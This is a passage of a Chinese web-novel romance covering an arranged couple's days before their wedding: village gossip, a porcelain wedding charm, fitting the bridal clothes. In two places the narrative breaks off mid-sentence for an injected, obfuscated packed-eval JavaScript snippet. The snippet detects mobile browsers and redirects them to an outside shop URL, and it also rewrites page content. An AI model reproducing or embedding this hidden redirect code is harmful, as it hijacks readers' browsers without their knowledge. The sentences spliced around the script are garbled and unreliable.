她离开上京时走得匆忙,甚至都不知父亲最终落得了个什么罪名。 也不知她南下途中寄给傅修远的信送到没有,不知他何时才能给她回信,亦不知他得知她嫁给他人的消息时,会作何反应。 * 永宁县衙。 陈君迁忙完准备下值去找沈京墨时,一个衙役带着一个四四方方沉甸甸的包袱找到了他,说里面都是好看的东西,请他带回家慢慢看。 陈君迁反应了一下,才想起早上和他说过去寻些有趣的话本来给沈京墨解闷。 他接过包袱,没拆,直接装上了驴车,和衣柜被褥一起带回家。 待他走后,送书的衙役回到值所,就看见早该下值的一名衙役撅着屁/股趴在地上寻找着什么。 他过去照着那衙役的腚来了一脚:“找啥呢?” 衙役头也没抬,揉着屁/股疑惑道:“怪了,我记得是放床上了,怎么没了呢?你快过来一块儿找找。” “什么东西啊?” “就是那个。” “哪个?” “那个那个!晚上躺被窝里看的,都是画,俩小人儿,站着的躺着的坐着的,那个!我拿普通话本的书皮贴起来的那个!” 后进来的衙役听完想了一会儿,缓缓地瞪大了眼。 “坏了,我当成话本送给大人了!” 10. 可怜 沈京墨当天没能把婚服改出来,便向老板娘借了针线,带回去接着做。 两个人牵着一头小毛驴,拖着一车的家什,绕远路回了葡萄村。 到家时,陈大听见动静就迎了出来,见陈君迁带着满满一车的家具,知道这是儿子为娶媳妇准备的,乐得合不拢嘴,帮陈君迁一道把柜子往东屋搬。 东屋眼下虽空旷,空间却不大,这些家当都塞进去,基本也就不剩多大地方了。 眼看两个人得搬上一会儿,陈君迁让沈京墨先去西屋歇着,喝口水吃点东西,等他们忙活完了再去喊她。 父子俩这一搬就搬了小半个时辰。 起初陈君迁想,反正两人马上就要盖间新屋子,大不了到时盖大些,现在只是将就几天,把家具全都塞进去,只要不妨碍进出和日常起居就够了。 陈大却不同意,说新屋子一时半会儿也盖不完,过两天两人大婚后住在一起,就会觉得逼仄了。为了让儿媳住得舒心些,他指挥着陈君迁把家具来来回回换了好几次位置,直到两人都觉得如今的排布既节省空间又方便居住,才算结束。 干完活,陈君迁把驴拴好,进西屋去叫沈京墨。 一进屋,就瞧见她背对门口坐在椅子上,陈川柏在她对面,撅着个屁/股趴在桌子上,两人头挨在一起不知道在做些什么。 陈君迁当即眉头一皱,迈开大步往里走,来到桌旁才站住。 听见他的脚步声,桌边的两人也仰头瞧他。 沈京墨手中握着一支头上扁平的小木棒,另一只手虚虚托着陈川柏的左手,正在一点一点地给他手背上一处出血的淤青涂药。 “哥!嫂嫂真是神医!我跟她说昨天盖猪圈砸手了,她拿几种药捣出汁一涂,一下就不疼了!” 陈君迁本来盯着两人叠在一处的手,看陈川柏的眼神不大客气。听见他这声“嫂嫂”,他才满意地收起目中凶光,转而看向沈京墨。 沈京墨脸色微红,也不知是因着那一声“嫂嫂”,还是被陈川柏夸得害羞,小声跟他解释,眼神却不怎么敢看他。 “草药和女红一样都是必学的,我也不精通,只记得几种常用的药方,刚好家里有药材……” 倒不是她谦虚,上京的高门贵女要学的东西本就不少,除了琴棋书画,制香、草药也都有所涉猎,只是她记不住那么多药材的名字和长相,只懂个皮毛罢了。 陈君迁却不认同她的话,望着她笑:“是你记性好,懂得多,寻常人哪会这些。” 兄弟俩都恭维她,沈京墨红着脸抿唇不语,接着给陈川柏上药。 陈君迁就在她身边站着看。 他人高马大,单是站在那儿就自带一股压迫感。沈京墨感觉到他的视线一错不错地落在她身上,不由得把头压得更低,只留给他一个发顶,涂药的动作也变得温吞。 盯着她瞧了一会儿,陈君迁的腰有些受不住,这才走到陈川柏的床前坐下,继续看她上药,像是看不腻似的。 她人长得美,侧脸线条尤其漂亮,低眉专注做一件事的时候,浑身都散发着娴静温柔的气质,就像天上人美心善的仙女。 尤其那双白皙如玉的手,手指纤长,指尖粉润,连指甲都打磨得规整又漂亮。这样一双手扶着陈川柏的小黑手,陈君迁只觉得暴殄天物。 沈京墨在他们兄弟俩的注视下上好了药,便打算回屋。 陈君迁见她起身,也忙跟着站起来,说要送送她。 “哥,嫂嫂不就去隔壁吗总共都没十步路。” 陈君迁甩给陈川柏一记眼刀,继续跟在沈京墨身后。 沈京墨没说什么,走到东屋打算关门时,陈君迁还在她门口晃悠,看样子似乎有话要说。 她眨眨眼睛看他,问他可还有事。 陈君迁支吾着,半晌,问:“你那药,能敷腰伤么?” 一刻钟后,陈君迁美滋滋地捧着一碗药汁回了西屋。 * 当天夜里下了场雨,沈京墨第二天起身时,陈君迁还没走。 早饭放在她门外一张矮凳上,盘子上倒扣着一只碗。沈京墨揭开碗,底下是两块浇了甜汁的黄米糕,甜汁晶莹透亮,细闻有股清甜的花香。 沈京墨只看了一眼,就知这米糕珍贵,端起盘子来想去唤陈川柏一起吃。他年纪小,嘴馋,性子直,虽然有时会说些让她脸红的话,但沈京墨还是挺喜欢这位小叔子的。 陈君迁瞧见,说陈川柏一早就和陈大去县里送药材了不在家,让她把两块米糕都吃了,那小子想吃自然会找他。 沈京墨不尽信他的话,悄悄留了块米糕在西屋,把另一块吃了大半,拿出婚服坐到屋门口绣起来。屋里太暗,她怕改岔了。 陈君迁看了她两眼,继续整理他的驴车。雨后路滑,他得尽量把车固定紧些再出发。 两人各自做着自己的事,谁也不打扰谁。 不多时,门外由远而近,响起几个妇人爽朗的笑声。 沈京墨从未见过哪个妇人说笑起来这么大声,就连性子在上京贵妇中算是开朗的柳氏,笑起来也要以帕掩唇,从不会这样笑。 她好奇,往半掩的院门外一瞧,正对上了三双亮晶晶的笑眼。 “小陈大人?”其中一个妇人一脚迈进院里,笑意盈盈地冲陈君迁招招手,又看向沈京墨,“我们去河边做活,你家娘子来不来?” 说罢,三双眼睛热情地看着沈京墨,稀罕地打量着,就好像她是什么难得一见的宝贝似的。 沈京墨不大习惯这样的热情,加上她们说话多少有些乡音,她并不能完全理解,只好略显局促地看向陈君迁。 陈君迁见状对几位婶婶打了声招呼,转而向沈京墨走去。 “今日家中无人,你要是无聊,可以随她们去坐坐。要是不想也不用勉强,村里人都很好说话,我去替你回了她们就成。” 她的确不大想去,倒不是不愿与村里人结交,只是她怕到时听不懂她们说话,也不知道聊些什么,让大家都尴尬。 她刚要回他,余光瞥见三个妇人期待的神情,却又变了想法—— 她马上就要成为他的妻,后半生大概都会在这个村里度过,总不能一辈子都躲着不见人。更何况别人盛情邀请,不过是口音而已,她仔细着些,认真听慢慢想,总能听明白。 左右已经走到了这一步,她总得试着去适应新的生活。哪怕什么都不说,一起坐坐也是好的。 沈京墨起身对着三位长辈福了福身,对陈君迁道:“我和几位婶婶一起去,正好趁此机会熟悉熟悉村里。” “好。川柏晌午之前就能回来。你要是累了就回家来,别过意不去,我给你备了话本解闷。想熟悉村里,改天我带你去。” 陈君迁叮嘱完,又一路把人送到河边,才在一群婶婶们促狭的目光中离去。 * 葡萄村毗邻饮马河,河边有一片高耸的野草坡,坡上长着一棵枝繁叶茂的千年老树,每到春夏,巴掌大的绿叶郁郁葱葱,压得树枝向四面八方倒垂下来,活像把翠绿的巨伞,村里妇人都喜欢在树下边做活边纳凉。 沈京墨和七八个三四十岁的同村大婶围坐在树下,她们你一言我一语地拉家常,沈京墨听个一知半解,也不插话,脸上带着礼貌的微笑,安安静静地低头改婚服。 几个大婶七嘴八舌聊了一会儿,纷纷把目光投向了她。 “陈家娘子,”其中最年长的一位就坐在她左手边,不知道怎么称呼她,就按照她夫家的姓氏这样唤她,“你真是好福气啊,陈家大郎可是咱村里最好的后生。” 沈京墨一时没反应过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711579|144577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在叫她,见话音落罢没人接话,才后知后觉地抬起头来,懵懵懂懂地“啊?”了一声,就听其余几人都友善地笑了起来。 “谁说不是呢?小陈大人年纪轻轻就是咱永宁县的父母官,陈家娘子你嫁给他,以后肯定会享福的!” “是啊,而且小陈大人人也好,没有官架子,谁家需要搭把手他都去,又是干活儿又是送银子。诶,过些日子顾家的地该收了,他还要去帮忙呢,他娘子,你去不?” 沈京墨只听懂了一半,不知让她去做什么,只好抿着唇笑了笑,没有回答。 几位婶婶都是爽快人,没有因这点小事与她计较,继续说着。 “陈家娘子长得也好看,水灵灵的,跟朵花儿似的,咱村里还没见过这么好看的姑娘呢,是吧?” “别说村里,我瞧着整个永宁县都找不出这么标致的丫头!咱小陈大人长得也俊,个儿又高,我瞧着他俩是越看越登对。” 几人说着都笑出了声,唯独坐在沈京墨斜对面、嘴角有颗小痣的年轻妇人全程没有参与他们的聊天,也没有跟着笑。 只听她凉凉地说了句:“漂亮有什么用?谁还没有老的那天了?老了不都一样丑。” 她说这话时用的是不太纯正的官话,沈京墨自然听懂了,其余婶婶的脸色也都一变。 年轻妇人身边的婶婶悄悄扒拉她的衣袖,低声劝她别说了。 她却白眼一翻,站起身来居高临下对沈京墨冷笑:“听说你和小陈大人是娃娃亲,却直到落难才来投奔他,想来对他也只是利用!” 旁边人拉她的手,被她一把甩开。 “你以为小陈大人是为等你才二十有四仍未娶妻吗?我告诉你,全永宁县的人都知道,小陈大人心里早就有人了!娶你,不过是看你可怜!别以为他会真心爱上你!” 沈京墨的脸色随着她的话一点一点苍白下去。 那年轻妇人说完,抱起自己脚下的野菜篮子转身就走。 剩下的人面面相觑,气氛一时分外尴尬。邀请沈京墨前来小聚的婶婶过意不去,拉着她说了许多好话,又是夸她漂亮,又是说陈君迁待她不错。 沈京墨没有回话,勉强挤出一丝笑意来对她点了点头,感谢她的善意。 经过这么一闹,大家也没了兴致,把沈京墨送回陈家后,就各自散了。 陈川柏已经回来了,正在打扫鸡窝,见她回来,高兴地朝她挥手打招呼。 沈京墨浅浅露出一丝略带倦意的笑容,径直走回屋关起了门。 直到坐回了床上,她才总算能喘上气来。 她这短短的前半生里还从未和谁起过这么大的冲突,她在上京的那些小姐妹就算再生谁的气,说起话来也是客客气气的。 她还没见过方才那样的阵仗,被那年轻妇人指着鼻子说时,她竟觉得连呼吸都变得不畅,握着针线的手到现在还在颤抖。 沈京墨急促地深吸了好几口气,才觉得心跳没那么快了,可心头萦绕的委屈还没退去,她忍了一路的泪终于还是掉了下来。 那年轻妇人说陈君迁绝不会爱上她,她并不觉得难过。她也不认为自己会喜欢上他,只是两人早有婚约,她又必须嫁人,才不得不与他结为夫妻。 就算婚约换成旁人,她一样会嫁。 她在意的是那妇人说的,陈君迁至今未娶,是因为早有心上人。 原来他和自己一样,心里也放着一个这辈子都不可能在一起的人,还要带着对那人的思恋,与另一个不爱的人相伴终生。 而她好歹能用怀念亲人的理由掩盖对傅修远的思念,可他呢?这几日他非但没有表现出丝毫对她的不喜,甚至还对她关怀备至,大概是想借此麻痹自己心中的痛苦和绝望。 这样一想,沈京墨突然觉得他竟和她一样可怜。 11. 陶瓷娃娃 打从下值到家起,陈君迁就觉得沈京墨不对劲。 虽说她平时也甚少直视他,只有不得不与他说话时才会和他对视一眼,说完又迅速移开视线,他也只当她是害羞情怯。 可今天他一到家,就瞧见她将东屋门打开条缝,一双杏眸清凌凌的,同情地看着他。 他觉得奇怪,拎着回家路上给她买的糕点,想过去同她说几句话,可她看到他靠近却慌张地关上了门。 陈君迁疑惑地站在她门口等了片刻,见她屋里没动静,想了半天,转头去问陈大和陈川柏。 昨天夜里不是都对好口供了吗!敷腰上的药是给他爹的,他这龙精虎猛的年轻汉子怎么可能干点儿活就腰疼?别是这老头儿又说漏嘴了。 他腰真的好得很! * 沈京墨倚坐在床头,目光无神地扫过屋里添置的新家具,心中天人交战。 自打听了那年轻妇人的话,她便始终放不下陈君迁已有心上人这件事。 俗话说,宁拆十座庙,不毁一桩婚。倘若他当真已有意中人,她也不想做那毁人姻缘的恶人。 她可以只要一纸婚书,然后搬出他家,绝不再打扰他们一家人的生活,亦不会阻止他与心爱之人相守。 她是必须嫁人,但没人说那人必须得是陈君迁。等她找到合适的人选,就与他和离,他也不用被婚约牵累,可以娶他真正想娶的人。 如此,对他们二人都好。 她下定了决心,又一字一句地斟酌修改,准备好了说辞,只等他下值便与他说清楚。 可方才看见他带着一包吃食朝她走来,沈京墨突然意识到,自己的想法是多么失礼、多么伤人。 他连对她这个名义上的未婚妻都这般好,那放在心里多年的心上人定是如珠似宝。她占着他妻子的位子,他怎会舍得让心上人无名无分地跟了他? 她若真将原本的想法说与他听,恐怕他只会觉得玷污了心上人,会因此怨她、憎她,那往后的日子,只怕连现在的相敬如宾都做不到,唯余相看两厌。 但她又的确需要一个名分来保住自己,若不嫁他,眼下她还能上何处寻个夫婿来呢? 沈京墨计划了半晌的想法瞬间被打乱。 于是她慌张地关上了门。 * 陈君迁在西屋和后院找了一圈没找见陈大,最后从新搭了一半的鸡窝里揪出了陈川柏,问他是不是跟沈京墨说了他什么糗事,怎么她用那副表情看他,还一见他就躲。 陈川柏挠着后脑勺一脸迷惑:“不知道啊?林家婶婶送嫂嫂回来以后,她就直接回屋了,一下午没出来。” “回来的时候可有异常?” “异常?” “哭还是笑,喜还是怒,表情什么样?” 陈川柏挠头的手抓得更用力了,五官拧成一团,使劲想了好半天。 “好像……和平时没两样?” 陈君迁知道这小子在察言观色这方面向来迟钝,面无表情地在他脑袋瓜上状似用力、实则雷声大雨点小地抽了一巴掌,说了句“臭小子”,转身离去。 虽然陈川柏看不出异样,但陈君迁十分肯定,沈京墨心情不佳。 而且原因八成与他有关。 陈君迁在院子里和她门前徘徊了足足一刻钟,最后还是敲响了她的房门。 今天这事要是不问清楚,他怕是要连觉都睡不着了。 陈君迁敲过门,又等了一炷香的工夫,沈京墨才迟迟打开房门。 门只开了一条缝,露出她那张巴掌大的小脸。她眼眶微红,看上去有些憔悴。 “你……”陈君迁小心地斟酌着用词,“婶婶们惹你不开心了?” 沈京墨被说中心事,却还是摇了摇头:“婶婶们待我很好。” “那怎么哭过?眼睛都红了。” 她刚回家时确实哭过,如今好不容易止住,听他这么一问,她竟又鼻尖一酸,觉得委屈起来。 她也不知道他有心上人啊!为何要指着她那般斥责? 沈京墨抿起唇来,不想让自己再在他面前落泪,粉嫩的双唇被她用力挤压到泛白。 强压下心中的不忿与委屈,她抬眼轻瞥他。 “陈大人,”开口时,她突然固执地又用回了这个称呼,“你娶我,是出于自愿,还是为了守约?” 如若只是为了婚约,她这便与他说清楚,两人做一段日子有名无实的夫妻,等她想到办法,二人便一别两宽,各生欢喜。 陈君迁听了她的问题却是一愣。难不成婶婶们说了什么,让她怀疑他日后不会真心待她? 生怕她忧心,他忙不迭保证:“我既然要娶你,就定会尊重你、爱护你,必不会让你受委屈!这点我可以保证。” 沈京墨听罢,心里却更加难过。 他果然是出于责任,不得已才娶她。肯对她许下这样的誓言,她也不敢奢求更多了。 既然如此,那便暂且做对挂名夫妻吧。这样也好,她念着傅修远,他心里亦有人,成婚后只要在外人面前做做样子,私下里互不打扰,日子想来也不至于太难熬。 她对陈君迁浅笑福身:“多谢大人。婚服就快改好了,明日大人下值若早,来试试吧。若有哪里要改也还来得及。” 她话题转得太快,陈君迁愣了一下,只好顺茬接话,答应她明日一定早些回来,随后把糕点送给了她。 沈京墨没再说什么,与他道过晚安,便回屋了。 陈君迁没有立刻离开她屋前,又默默分析了一会儿,抬眼瞧着天色还不算太晚,低头往林婶家走去。 人是林婶带出去又送回来的,她们说了什么,林婶肯定知道。 回想沈京墨最后那几句生硬地转折,陈君迁觉得她定然还有所隐瞒,还是找林婶问清楚为好。 * 此时天不算晚,林婶的丈夫和儿子都在地里忙活,家里只有她一人。 陈君迁到她家时,林婶正在院子里择野菜。 “林婶儿!”陈君迁和她打了个招呼,走到她对面,蹲下来帮她一起择菜。 往常他上林家帮忙,林婶都是乐呵呵地把他迎进来,也不跟他客气,该做什么做什么,完全拿他当自家人。 可今天林婶瞧见他,却像是心虚似的避开眼神,见他蹲下,她“蹭”地站了起来,脸上带着讪讪的笑,说进屋给他倒杯水。 陈君迁眼睛一眯:果然有事。 他放下手里的野菜,跟着林婶进了屋。 “婶儿,水我就不喝了。我就 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“嗐,女人们在一块儿还能聊啥,东家长西家短的,你们男人不爱听。哎!婶儿可夸你来着啊!说你长得好又能干,年纪轻轻就当大官,你家娘子跟了你往后指定净享福了。你说婶儿说得好不?” 陈君迁笑了:“谢谢林婶儿。” “客气啥呀,都大实话。不过你家娘子是不是听不太懂咱说话呀?瞅着也不大爱说话,文文静静一小丫头。” 林婶这一句话猛地点醒了陈君迁——沈京墨听不懂永宁县的乡音,县里倒还好,村里上了年纪的叔婶们很少有会说官话的,她要是听岔了,理解错了,倒也不是没可能。 陈君迁这么想着,心里放松了些。也许是他想多了,也许沈京墨只是马上要成亲,心里紧张,情绪才不稳,跟林婶她们没关系。 林婶见状,也暗暗松了口气,迅速转移了话题。 “小陈大人呐,你后天就要成亲了,该准备的东西可都准备妥了?” “准备好了,床褥、柜子、婚服,都准备好了。” “还有呢?” “还有?哦,好酒好菜也预订上了,到时候肯定好好招待大家。” 林婶听完,“噗嗤”一声笑了出来,摇着头看着陈君迁:“你看看,这家里没个女人,仨大老爷们儿连该预备什么都不知道。” 陈君迁被她说糊涂了。要是自己粗心大意落下了什么重要的东西,到时让沈京墨觉得自己对婚事不上心,委屈了她,那可就不好了,于是急忙询问还差了什么。 林婶没有直说,神秘兮兮地走进另一间屋子,从柜子底下取出一块用红布包着的东西,拿给陈君迁看。 “正好陌然也快娶媳妇儿了,家里都预备好了,你瞧瞧。” 林陌然是林婶的长子,婚期早早就定下了,不像他这般仓促,东西肯定是齐全的。 陈君迁看了看林婶一脸神秘的笑容,好奇地掀开了红布。 红布下面盖着两个瓷娃娃,模样不大精细,但也能看出是一男一女。 这俩娃娃是连成一体的,面对着面,笑眼弯弯,穿着新郎新娘的婚服,下面还…… 陈君迁被晒成深麦色的脸罕见地红了。 12. 试婚服 瞧见陈君迁的反应,林婶笑得眼都眯起来了,把瓷娃娃盖好放到一边,又取出一条系着红绳的铃铛来。 “这个也没准备吧?” 陈君迁脸上的红还没消下去,见她拿出新玩意儿,忙转移了注意,试图掩饰尴尬:“这是做什么用的?” “这个呀……”林婶没有直说,先是卖了个关子,才笑着解释,“拜完了堂以后,把门一关,给你家娘子系脚上。” 说着,林婶晃动了一下铃铛,“叮铃”脆响响起一瞬,陈君迁就算再迟钝也明白了。 “咳,我知道了,多谢林婶儿。” 林婶这才把东西收起来,看着起身要走的陈君迁,语重心长道:“你娘走得早,这些事没人教给你,你爹也不说。婶儿是看着你长大的,要是还有啥不懂的,就来问婶儿。你家娘子也是。她娘不在身边,没人教她,洞房的时候你可仔细着些,别把人弄伤了。” 陈君迁虽说二十好几还没娶妻,但毕竟这么大的人了,又成天和一群“见多识广”的衙役们呆在一起,这事就算没经验,但大概流程也懂得七七八八。 “知道了,谢林婶儿。家里没什么事儿的话,我就先回去了。后天上我家喝喜酒!” “哎,一定,一定!慢走啊!” 迈出林婶家的大门,陈君迁对着快要下山的夕阳长长出了一口气,觉得今儿的天气着实奇怪—— 明明太阳都下去了,他怎么反倒觉得更热了? * 后天就是两人的大喜之日,当晚陈君迁睡得不甚踏实,每每闭上眼,脑中便浮现出沈京墨的一颦一笑。 虽然相处不过三四天,他却对每一幕都印象深刻。 她捣药时的纤纤素手,倚窗读书时娴静的眉眼,甚至是第一晚,她擦拭细颈时的那抹雪白…… 他梦见她穿着绣满芙蓉的墨绿婚服,与他面对着面,交颈相依,就像那对紧密相连的瓷娃娃…… 这一晚,陈君迁足足热醒了四五回。 * 第二天,也就是二人成婚的前一天,陈君迁照常去县衙上值。 许是知道他无心做事,今日县衙冷清得很,除了帮一户人家找了找走丢的鸭子,又帮三个险些打起来的小孩平分了两张饼之外,竟再无人来扰。 眼看快到下值时间,陈君迁通知了衙役一声,打算早些回家。 “明日我大喜,有事过后再报。下值了记得去我家喝酒。” 陈君迁说罢,几个衙役纷纷笑了起来,这个一句“恭喜恭喜”,那个一句“早生贵子”,听得陈君迁不禁喜上眉梢。 他边笑边往门外走,刚走到县衙大门口,就被一高一矮两个衙役拦了下来。 “大人!” 叫住陈君迁后,高衙役看了矮衙役一眼,状似有些为难,努努嘴,想让他去说。矮衙役却也朝他努嘴,示意他继续说。 陈君迁左看一眼右看一眼,只见这俩人就差把嘴努到他脸上去了,不由得又气又觉得好笑,抬起腿来照着矮衙役的屁/股上来了一脚:“你说!” 矮衙役和高衙役对视一眼,嘿嘿笑了起来:“大人,上次您要的话本,看了么?我俩上次着急忙慌的,没找着几本好的。要不您把上次那几本拿回来,我俩给您再找点更有意思的?” 陈君迁前两天的确跟他们要了些话本子给沈京墨解闷用,但沈京墨看了没有,他也不知道。 不过那么厚厚一摞话本,她这几天又在改婚服,就算看应该也看不了多少,也不急着换。 “怎么,着急要回去?”他笑着,手背在矮衙役胸口一拍,“整个县衙上下就你俩最爱看话本子,你俩挑的差不了,不用换了。等看完就给你们带回来,丢不了。走了!” “哎大人……” 陈君迁急着回家,大步流星地往外走。 两个衙役追了几步,眼看是追不上了,只能扯着嗓子冲他的背影喊。 “大人!我俩明儿给你拿新的当贺礼!换吧,换吧啊!” 陈君迁摆摆手没说话,走远了。 两个衙役对视一眼,眼里都是对方苦瓜似的愁容。 “嫂夫人八成还没看着那本那个,可万一翻着了呢?咱俩可咋办啊?” “明儿酒席,你去给偷回来,换本别的!” “啊?那要是没找着可咋整?” “……那咱俩就回来把狗头铡擦擦,走得时候痛快点儿。” * 陈君迁回到家时,院子里只有陈川柏一人。 他怀里揣着什么东西,鼓鼓囊囊,硬邦邦的,但被遮得很严实,只能看出是个凹凸不平的玩意儿。 陈川柏感兴趣地跑上来,伸手进他怀里摸,却被陈君迁一手抵住脑袋推远了。 他扁嘴:“哥,你又带啥好东西了?咋不让我看看!” 陈君迁故作严肃:“你还小,不能看。” “我都十三了!再有几年都能娶媳妇儿了!你让我看一眼呗。” 陈君迁收回掌来在他脑门上一弹:“那就等你娶媳妇儿了再看。” 说完,又指着东屋门问他:“你嫂嫂在?” “果然,虎子你有了媳妇儿忘了弟,”陈川柏哼了一声,揉着脑门,“好东西再也不给我跟爹了,虎子你变了。” 陈君迁无奈地笑。 这玩意儿要是给了他和爹,他才是真有病。 “去去去,没大没小的东西。” 打发了陈川柏,陈君迁敲响了沈京墨的门。 “昨天答应你早些回来试婚服。”进了屋,他径直走到柜子前,背对着沈京墨,小心翼翼地把怀里的东西掏出来摆在了柜面上,转而接过了她手里的婚服。 他这头换衣裳,沈京墨便错开视线,瞧了瞧柜子上红布盖着的东西,好奇道:“那是何物?” 陈君迁整理着衣领,听见她问话,也顺势朝那边看去,手上的动作一顿,说话也遮遮掩掩。 “明儿成婚要用到的玩意儿,下午刚买的。” 沈京墨这下更加好奇,还想接着问,但见他试衣着急,腰带都系拧了圈,便先走到他身边,帮他整理起衣裳。 她一上手,陈君迁就不动了,系了一半的衣扣就那么敞着,等她去系。 沈京墨见他如此,手上的动作也僵了一下,但随后还是慢慢帮他理好了腰带,又一颗一颗系起扣子来。 他这件婚服上的扣子不好系,扣结粗糙,扣眼又紧。沈京墨用指尖捏着两头,尽量把扣往外抻,怕贴身体太近,不小心碰到他的身子。 她还记得那天瞧见的他赤/裸的胸膛,饱满的肌肉随着呼吸,充满力量感地一起一伏…… 他们只是挂名夫妻,他有心上人,她该避嫌。 所以还是别碰着他一点儿为好。 陈君迁不知她在想些什么,垂眸盯着她的手沿着他的腰腹,一路攀上胸膛,青葱玉指拨弄着小巧的扣结。 昨天夜里那股灼热又烧了起来,他的喉结艰涩地滚动一下,只觉喉咙中如有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711581|144577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火烧。 还剩最后两颗衣扣,沈京墨已经不得不踮起脚来为他系了。 陈君迁微微弯下腰来,方便她动作。 她已经举得发酸的手随着他弯腰也放了下来,沈京墨迅速系好一个,又去系最后一颗。 那颗扣子在衣领,紧贴着脖子的皮肤,他弯腰低头的动作遮挡了她的视线。沈京墨歪头去找也没摸到。 “还有一颗我看不……” 话未说完,便对上了一双黑沉沉的眼。 他定定看着她,一双锐利明亮的眼中好像有烈火熊熊燃烧。 沈京墨被他的目光烫了手,慌忙后撤一步,低下头去:“还有一颗,劳烦大人自己系了。” 他一再纠正她,但她还是喜欢喊他大人。 陈君迁便也不再改正她了,反正明日成婚后,她自然会改口唤他郎君。 郎、君。 短短二字,陈君迁在心里反复想了好几次,想象这个称呼用她那甜得好似抹了蜜的声音说出来,会是何等动听。 他光是想想便欢喜。 陈君迁直起腰来迅速系好了最后一颗扣子,将双臂展开,在她面前转了一圈,满意地低头看着经她手改出来的婚服:“如何?” 沈京墨原本害羞地低头不语,听他发问,才抬起眼来,尽量避开他的视线,将这身婚服上下打量了一番。 “肩尚可,腰再收些,”她把需要修改的地方记下来,又问他,“大人觉得还有何处需改?” “哪儿都好,我看不用改了。”他不挑这些,左右就穿明天一天,无需她这么费心费力还费眼。 沈京墨闻言没有反对。 挂名夫妻,做给皇帝看而已,婚礼也就是走个过场,他既然觉得不用改,便不改了。 “那我为大人收起来。” 将婚服收好,沈京墨的目光又不可避免地回到了柜子上。 方才她就问过陈君迁那是何物,他还没回答,她便又问了一次。 陈君迁还是支支吾吾答不上来,半晌,清了清嗓子:“这东西明儿要放在床头,讨个吉利。” 说完,轻轻掀开红布一角,露出一部分瓷娃娃让沈京墨瞟上一眼。 沈京墨弯腰去瞧。 紧接着“唰”地站直了身子,脸红得像火烧过。 “这,这是……” “是瓷……” “我知道是什么!”她飞快打断了陈君迁要讲解的话,一把将红布扯了下来,把那玩意儿盖得严严实实。 她的闺中好友有几人已经嫁人,成亲时,说是要把这样一个东西放进了柜子底一并抬去夫家。她起初不知是何物,直到好友成亲后再相见,才神秘兮兮地将她拉进房中,告诉了她这东西的用意。 只是上京的瓷娃娃做工精细,若是忽略不该看的地方,也能当做一件精巧的摆件。 可这只瓷娃娃做工远比不上她见过的几只,上身做得尤其粗糙,只能勉强分辨五官,偏偏只有不该看的地方,做得最显眼! 见她脸红,陈君迁的脸也悄悄红了。 他盯着沈京墨,沈京墨又盯着别处,两人沉默了许久,他才终于哑着嗓子说了句“时候不早了歇息吧”,接着转头就跑出了东屋。 等他走了,沈京墨还没回过神来。 她站在原地,双手捧住滚烫的脸,过了好一会儿,小心翼翼探出手去,又掀了一下红布。 只瞟了一眼,她就涨红着脸跑回床上,把脸蒙进被子里去了。 13. 大婚 晨光出照屋梁明。今儿是个诸事皆宜的好日子,一大早,天便清透如洗,阳光澄灿似金,是四月里难得的好天气。 沈京墨昨夜里瞧见了那对瓷娃娃,一宿都没睡好,今日早早便起身了。 屋外隐约传来陈川柏的笑闹声,陈君迁也在,兄弟二人起得比沈京墨还要早些,此时正在院里为晚些时候的婚礼做准备。 沈京墨支起窗,借着晨光对镜梳妆。 在上京时,她见过好友的大婚之礼。从纳彩到迎亲,再到大婚当夜的正婚婚仪,不可谓不繁琐。门第高的人家,有时甚至要花上一年的时间去筹备。 毕竟是一辈子只此一次的大事,自然是准备得越隆重越好。 但在葡萄村便不同了。 按着上京的风俗,大婚这日,新娘天不亮就要起来打扮,首饰、婚服、妆容,都要多人共同伺候完成,要确保把新娘打扮得光彩照人不说,更不能出一丝错漏。 单就这个过程,就要花上个把时辰。等把新娘打扮好了,新郎亲自带着鼓乐仪仗来将人接走,又要在路上耗去半天时间。 等到了新郎府上,还有一大堆的婚仪等着,拜堂、却扇、同牢、合卺、结发,哪一项都不能省去。 沈京墨那几个成了亲的小姐妹后来都说,成亲那日,等到该做的都做完了,她们都累得连沐浴都没力气,倒头就在那撒满六铢钱的床上睡过去了。 但沈京墨今日直睡到天亮,也没见有人来叫她。 也不知是葡萄村的婚仪与上京不同,还是陈君迁想要一切从简。 坐在铜镜前,沈京墨细细地为自己描着眉。 她的眉天生形似柳叶,只是颜色浅些,每每上妆,总要多花些时间去描眉添色。 沈京墨没见过新娘子上妆,不知具体要画成什么样,但就算是走个过场,她也想漂漂亮亮的。 等她仔仔细细描完了眉,又将铜镜调整了角度去贴花钿。 镜光一闪,晃到了趴在窗外偷瞧她打扮的陈川柏的眼。 他惨叫一声,揉着一时不能视物的眼,靠着墙壁蹲了下去。 听见动静,沈京墨回眸望去。陈君迁正低头看陈川柏,再抬起头时,两人四目相接。 他也不知偷偷看了多久,见被她发现,先是一怔,眼中满是惊艳之色,随后才回过神来,对她一笑。 “晚上有的要忙,便没叫你,想教你多睡一会儿。” 听他这么一说,沈京墨墨瞳微张,一抹红晕悄然爬上脸庞。 陈君迁说完才意识到话有歧义,又补充道:“依村里的习俗,晌午一过就会有人来帮忙,到时肯定很吵。婚礼傍晚开始,虽说不用出去接你,但也得在院里院外走上一圈。后面还有好多礼仪,又是拜堂又是拜客的,折腾下来得到半夜,我怕你累着。” 